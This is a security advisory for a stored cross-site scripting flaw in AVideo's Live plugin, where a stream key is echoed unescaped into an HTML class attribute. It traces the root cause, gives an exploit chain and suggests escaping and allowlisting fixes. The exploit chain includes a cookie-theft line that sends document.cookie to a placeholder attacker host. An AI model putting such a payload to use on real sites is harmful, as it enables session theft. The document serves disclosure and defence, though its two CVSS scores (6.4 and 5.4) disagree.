GHSA-m5j4-7r85-2cj2 AVideo: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute
Summary**Type:** Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw `echo`, without `htmlspecialchars()`. A `canStream` user can persist a key containing `"` plus an event handler via `plugin/Live/saveLive.php`, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.
**File:** `plugin/Live/view/modeYoutubeLive.php`, line 203.
**Root cause:** the template builds a live-status hook by concatenating the database key into a class name: `class="title_liveKey_<?php echo $livet['key'] ?>"`. There is no escaping. The persistence path `plugin/Live/saveLive.php:30` accepts `$_REQUEST['key']` verbatim into `live_transmitions.key` (the auto-generation path uses `uniqid()`, but the manual save path lets the caller override it with anything). The `on_publish.php:117` sanitiser strips only `&` and `=`, not `"`, `<`, or `>`, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.Affected Code**File:** `plugin/Live/view/modeYoutubeLive.php`, lines 195-209.`$livet['key']` is the raw stream key out of `live_transmitions`. The persistence path `plugin/Live/saveLive.php:30` is `$l->setKey($_REQUEST['key'])` (no allowlist), and `LiveTransmition::setKey()` (`Objects/LiveTransmition.php:110-112`) is a plain assignment. The DB column has no character-class enforcement (it is a `varchar`). `parent::save()` uses prepared SQL, so embedded `"`, `<`, `>`, `'` are stored verbatim and round-trip back to this template unchanged.**Why it's wrong:** an HTML attribute value must be escaped with `htmlspecialchars(..., ENT_QUOTES, 'UTF-8')` (or routed through a templating engine that does). The current `<?php echo $livet['key'] ?>` between `class="…"` and `"` lets the attacker close the attribute with `"`, append arbitrary attributes (`onclick`, `onmouseover`, `style`, `srcset`, …), or close the tag with `>` and inject a `<script>` block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (`menuRight.php`, `socket.js`) only use `key` inside JS contexts where they pre-strip `[&=]`, but `modeYoutubeLive.php` uses it directly in HTML attribute context where that strip is insufficient.Exploit ChainAttacker registers (or already holds) an AVideo account with `canStream=1`. On installations with `advancedCustomUser.newUsersCanStream=1` this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.Attacker POSTs to `https://target/plugin/Live/saveLive.php`:`saveLive.php:8` confirms `User::canStream()`, line 30 calls `$l->setKey($_REQUEST['key'])` and the row is persisted with the literal payload value. State: `live_transmitions.key` for this user contains the XSS payload.Victim visits the attacker's live page, e.g. `https://target/plugin/Live/?u=<attacker-username>`. The page is rendered through `index.php` -> `view/modeYoutubeLive.php`. Line 203 executes:State: a class attribute closed early, an `onmouseover` event handler attached, a stray `x=""` consumed, and the final closing `"` consumed by the next attribute. The HTML parses cleanly.Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: `fetch('//attacker/x?c=' + document.cookie)` runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie).Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (`onerror` on injected `<img>`, `onload` on injected `<svg>`, or simply `>` to close the `<span>` and inject a `<script>` block) the trigger does not require mouse-over.Security Impact**Severity:** sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability.
**Attacker capability:** with one `canStream` account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the `target` origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from `live_transmitions`.
**Preconditions:** AVideo deployment using the default `modeYoutubeLive.php` template (the YouTube-style live view, used by all standard skins); attacker has `canStream` rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page.
**Differential:** source-inspection-verified. The vulnerable template `modeYoutubeLive.php:203` produces `<span class="title_liveKey_<UNESCAPED_KEY>">…</span>`. With the suggested patch (`htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8')` applied), the same input renders as `<span class="title_liveKey_&quot; onmouseover=&quot;…&quot; x=&quot;">…</span>`, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:Suggested FixEscape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after `replace(/[&=]/g, '')`, but they should be reviewed in the same patch).Defence-in-depth: also enforce a character allowlist on `live_transmitions.key` at write time (the autogenerator emits `uniqid()` which is hex-only, so `^[A-Za-z0-9_-]{1,64}$` is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.
CVSS v3.1 score: 5.4